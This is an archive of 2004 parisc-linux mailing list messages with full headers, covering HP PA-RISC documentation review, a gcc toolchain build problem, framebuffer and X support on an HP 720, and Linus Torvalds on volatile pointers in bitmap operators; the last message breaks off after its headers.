	with ESMTP id 12427-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 05:41:32 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 768E93BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 05:41:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Bd684-0001q1-6z; Wed, 23 Jun 2004 12:41:24 +0100
Content-Disposition: inline
In-Reply-To: <20040623051909.GD27085@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21765

On Tue, Jun 22, 2004 at 11:19:09PM -0600, Grant Grundler wrote:
> ...on a PA-RISC machine.
> Hitachi and Precision Engeering also made PA-RISC machines.

And Convex, of course.  http://www.paralogos.com/DeadSuper/Convex/
http://www.fact-index.com/c/co/convex_computer.html

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: An HP doc for TLDP
Date: Tue, 22 Jun 2004 23:19:09 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <20040623051909.GD27085@colo.lackof.org>
References: <001a01c458c0$949e1650$df6ddacf@athlon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623487 10057 80.91.229.3 (22 Nov 2014 02:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Greg Porter <gporter@tcsn.net>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24694 invoked by uid 65534); 23 Jun 2004 15:09:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 23 Jun 2004 17:09:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 23DCA3BDDF; Tue, 22 Jun 2004 23:20:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09997-10; Tue, 22 Jun 2004 23:20:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E715E3BDE1; Tue, 22 Jun 2004 23:19:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08D833BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 23:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09997-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 23:19:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DC1123BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 23:19:12 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 33985298052; Tue, 22 Jun 2004 23:19:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28081-07; Tue, 22 Jun 2004 23:19:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8283129803C; Tue, 22 Jun 2004 23:19:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <001a01c458c0$949e1650$df6ddacf@athlon>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21766

On Tue, Jun 22, 2004 at 06:22:36PM -0700, Greg Porter wrote:
> Hi, I noticed that linux documentation regarding Hewlett Packard unix
> server hardware (PA-RISC) is lacking.? I recently taught myself DocBook,
> and have started documenting some specifics of HP hardware.? 

Cool. But it's really not *that* badly documented.
See the user manuals in ftp://ftp.parisc-linux.org/docs/platforms/.
Nearly all of them describe how to get to BCH and what one can
do there for example.

> For example, I recently documented HP server firmware with DocBook,
> please see http://www.porterdavis.org/computing/hp_boot/ for an
> example.

You *really* want to have those sections reviewed by other volunteers
before submitting them to TLDP.

Here are some example comments from ch02 at:
	http://www.porterdavis.org/computing/hp_boot/ch02.html

| Getting a PDC prompt

You skipped console setup. things like how to setup a serial console
vs graphical, disconnecting Keyboard/mouse to force serial console,
<TAB>-key at poweron, etc.

BTW, in "HP speak" a PDC prompt is properly called a Boot Console Handler
(BCH) prompt. And there are several versions (depending on which
generation of box (eg "BOOT_ADMIN" is what many older boxes have).

| Processor Dependent Code (PDC) is HP speak for the firmware that comes
|  on an HP.

...on a PA-RISC machine.
Hitachi and Precision Engeering also made PA-RISC machines.

> ?
> The next rev of the document will have a section on updating the
> firmware as well.  This may be of use to you.

Yes, I suppose it will help some poor soul figure out what they
just bought on ebay. ;^)

> P.S.  The Linux Documentation Project people are considering whether to
> accept this as a TLDP document.

Please just make sure it's reviewed first.

thanks,
grant


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Wed, 23 Jun 2004 20:15:42 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200406240015.i5O0FgbE029552@hiauly1.hia.nrc.ca>
References: <40BD9F870000EA71@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623487 10060 80.91.229.3 (22 Nov 2014 02:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 944 invoked by uid 65534); 24 Jun 2004 00:16:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 24 Jun 2004 02:16:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 77DAE3BDCB; Wed, 23 Jun 2004 18:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18680-08; Wed, 23 Jun 2004 18:16:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD0203BDCE; Wed, 23 Jun 2004 18:15:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86C763BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 18:15:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16446-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 18:15:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 448673BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Jun 2004 18:15:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5O0FgCp029553; Wed, 23 Jun 2004 20:15:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5O0FgbE029552;
	Wed, 23 Jun 2004 20:15:42 -0400 (EDT)
In-Reply-To: <40BD9F870000EA71@ocpmta2.freegates.net> from "Joel Soete" at Jun
	23, 2004 07:12:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21767

> The build of the toolchain jsut failled as previously:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-April/022823.html>

Try

/CAD/parisc-linux/xc/bin/hppa-linux-gcc -print-file-name=libgcc.a
/CAD/parisc-linux/xc/bin/hppa-linux-gcc -print-file-name=libgcc_eh.a

This should show where thie compiler thinks libgcc.a and libgcc_eh.a
are.  You can see the full link command by adding "-Wl,-debug" to
the gcc command that failed.  GCC normally adds a "-L" option to the
directory where libgcc.a and libgcc_eh.a are installed.  If libgcc_eh.a
isn't there, you have a GCC build or install problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wolf-Dieter Kattnig" <kattnig@cnd-online.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Framebuffer and 720/50
Date: Sun, 27 Jun 2004 16:06:33 +0200
Lines: 140
Approved: news@gmane.org
Message-ID: <20040627140634.9D4E3246C2A@mail.customers.edis.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1884310680=="
X-Trace: ger.gmane.org 1416623487 10062 80.91.229.3 (22 Nov 2014 02:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7610 invoked by uid 65534); 27 Jun 2004 14:07:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 27 Jun 2004 16:07:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2962A3BE29; Sun, 27 Jun 2004 08:07:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03226-01; Sun, 27 Jun 2004 08:07:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DF6BD3BDF7; Sun, 27 Jun 2004 08:06:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A04B23BDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:06:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01588-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:06:37 -0600 (MDT)
Original-Received: from queuelrelay.edis.at (unknown [81.223.126.53])
	by free.linux.hp.com (Postfix) with ESMTP id 0C04E3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:06:37 -0600 (MDT)
Original-Received: from mail.customers.edis.at (mail.customers.edis.at [62.99.242.131])
	by queuelrelay.edis.at (Postfix) with ESMTP id 423B9D4294
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 16:07:27 +0200 (CEST)
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by mail.customers.edis.at (Postfix) with ESMTP id 33465229F15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 16:06:35 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.customers.edis.at (Postfix) with SMTP id 03F39246C2A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 16:06:35 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.customers.edis.at (Postfix) with ESMTP id C782A2470D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 16:06:34 +0200 (CEST)
Original-Received: from mailrelay.edis.at (mars.edis.at [81.223.48.5])
	by mail.customers.edis.at (Postfix) with ESMTP id 9D4E3246C2A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 16:06:34 +0200 (CEST)
Original-Received: from kate4 ([::ffff:81.223.23.15]) (AUTH: LOGIN cn001_wdk)
	by mailrelay.edis.at with esmtp; Sun, 27 Jun 2004 16:07:11 +0200
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
Thread-Index: AcRcT/PAt0NR3pN1TZ2hNjgs4ZzdFg==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
X-Virus-Scanned: by EDIS.AT Virus Scanner
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21768

This is a multi-part message in MIME format.

--===============1884310680==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0000_01C45C60.B7D3BFA0"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C45C60.B7D3BFA0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi all!

 

I've had no problems whatsoever setting up Woody on my 720 - except for one
glitch - I can't get X to work.

My graphics adaptor is an HPA2269A. Everything looks good, but I cant get
/dev/fb0 to work. My kernel is 2.4.18-32.

Is X supported on this configuration at all? Help would be appreciated.

 

Thanks, WD


------=_NextPart_000_0000_01C45C60.B7D3BFA0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.E-MailFormatvorlage17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 70.85pt 2.0cm 70.85pt;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1" />
 </o:shapelayout></xml><![endif]-->
</head>

<body lang=3DDE-AT link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi all!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial'>I&#8217;ve had no problems whatsoever setting =
up
Woody on my 720 &#8211; except for one glitch &#8211; I can&#8217;t get =
X to
work.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial'>My graphics adaptor is an HPA2269A. Everything =
looks
good, but I cant get /dev/fb0 to work. My kernel is =
2.4.18-32.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial'>Is X supported on this configuration at all? =
Help
would be appreciated.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial'>Thanks, WD<o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0000_01C45C60.B7D3BFA0--


--===============1884310680==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1884310680==--



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix the cpumask rewrite
Date: Sat, 26 Jun 2004 09:32:15 -0700 (PDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0406260924570.14449__6239.62454633347$1416623488$gmane$org@ppc970.osdl.org>
References: <1088266111.1943.15.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623488 10066 80.91.229.3 (22 Nov 2014 02:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:28 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Paul Jackson <pj@sgi.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 Linux Kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from mailgate5.dlan.cinetic.de ([172.20.1.103] helo=mailgate5.web.de)
	by mxint01.web.de with esmtp (WEB.DE 4.101 #26)
	id 1BeLbb-0002PB-00
	for hdeller@web.de; Sun, 27 Jun 2004 00:25:03 +0200
Original-Received: by mailgate5.web.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id i5QMP3Q30632
	for hdeller@web.de; Sun, 27 Jun 2004 00:25:03 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.2)
        for hdeller@web.de; Sun, 27 Jun 2004 00:25:03 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10022 invoked by uid 65534); 26 Jun 2004 16:37:27 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx046) with SMTP; 26 Jun 2004 18:37:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S266304AbUFZQeD (ORCPT <rfc822;deller@gmx.de>);
	Sat, 26 Jun 2004 12:34:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S267184AbUFZQeC
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Jun 2004 12:34:02 -0400
Original-Received: from fw.osdl.org ([65.172.181.6]:53893 "EHLO mail.osdl.org")
	by vger.kernel.org with ESMTP id S266304AbUFZQdq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 26 Jun 2004 12:33:46 -0400
Original-Received: from localhost (build.pdx.osdl.net [172.20.1.2])
	by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i5QGWHZ30116;
	Sat, 26 Jun 2004 09:32:17 -0700
In-Reply-To: <1088266111.1943.15.camel@mulgrave>
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21769



On Sat, 26 Jun 2004, James Bottomley wrote:
>  
> This might be correct for x86 and itanium, but it isn't for parisc where
> our bitmap operators don't take volatile pointers.

Why not? The thing is, the bitmap operators are supposed to work on 
volatile data, ie people are literally using them for things like

	while (test_bit(TASKLET_STATE_SCHED, &t->state));

and the thing is supposed to work.

Now, I personally am not a big believer in the "volatile" keyword itself, 
since I believe that anybody who expects the compiler to generate 
different code for volatiles and non-volatiles is pretty much waiting for 
a bug to happen, but there are two cases where I think it's ok:

 - in function prototypes to show that the function can take volatile data 
   (and not complain).

 - as an arch-specific low-level implementation detail to avoid having to 
   use inline assembly just to load a value. Ie a _data_structure_ should 
   never be volatile, but it's ok to use a volatile pointer for a single 
   access.

I believe the bitop functions fall under #1 - the function is clearly
supposed to handle the case of a volatile pointer, and if it is inlined,
the above endless while-loop must not just load the bit once and turn it 
into an endless loop - it needs to re-load the thing every iteration.

> Since whether the bitmap operators are volatile or not is within the
> province of the architecture to decide,

I disagree. Why wouldn't they be volatile?

		Linus

From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Framebuffer and 720/50
Date: Sun, 27 Jun 2004 18:25:48 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20040627162548.GN20632@lug-owl.de>
References: <20040627140634.9D4E3246C2A@mail.customers.edis.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1463962602=="
X-Trace: ger.gmane.org 1416623488 10070 80.91.229.3 (22 Nov 2014 02:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:28 +0000 (UTC)
